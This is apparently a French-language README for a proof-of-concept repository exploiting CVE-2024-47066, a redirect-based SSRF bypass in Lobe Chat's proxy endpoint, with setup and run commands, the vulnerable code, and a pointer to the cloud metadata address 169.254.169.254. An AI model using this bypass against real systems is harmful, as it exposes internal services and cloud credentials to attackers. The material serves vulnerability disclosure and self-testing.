
Exploitation de la falsification de requête côté serveur dans Lobe Chat
★ CVE-2024-47066 PoC SSRF LobeChat ★
CVE-2024-47066 : Lobe Chat est un framework de chat d'intelligence artificielle open source. Avant la version 1.19.13, la protection contre la falsification de requête côté serveur (SSRF) implémentée dans src/app/api/proxy/route.ts ne prend pas en compte les redirections et pouvait être contournée lorsque l'attaquant fournit une URL malveillante externe qui redirige vers des ressources internes comme un réseau privé ou une adresse de bouclage. La version 1.19.13 contient un correctif amélioré pour ce problème.
Rapporteur : a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(Externe) LodeChat --> ATTAQUE SSRF --> (Interne) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
Après la ligne 26, il n'y a aucun endroit pour déterminer la réponse de redirection. Ainsi, en utilisant un raccourcisseur d'URL, vous pouvez facilement contourner la fonction « isPrivate() ».
Effectuer une requête vers http://169.254.169.254
Ce dépôt n'a pas pour but d'être un exploit SSRF pour CVE-2024-47066. Le but de ce projet est d'aider les gens à découvrir cette vulnérabilité, et peut-être à tester leurs propres applications.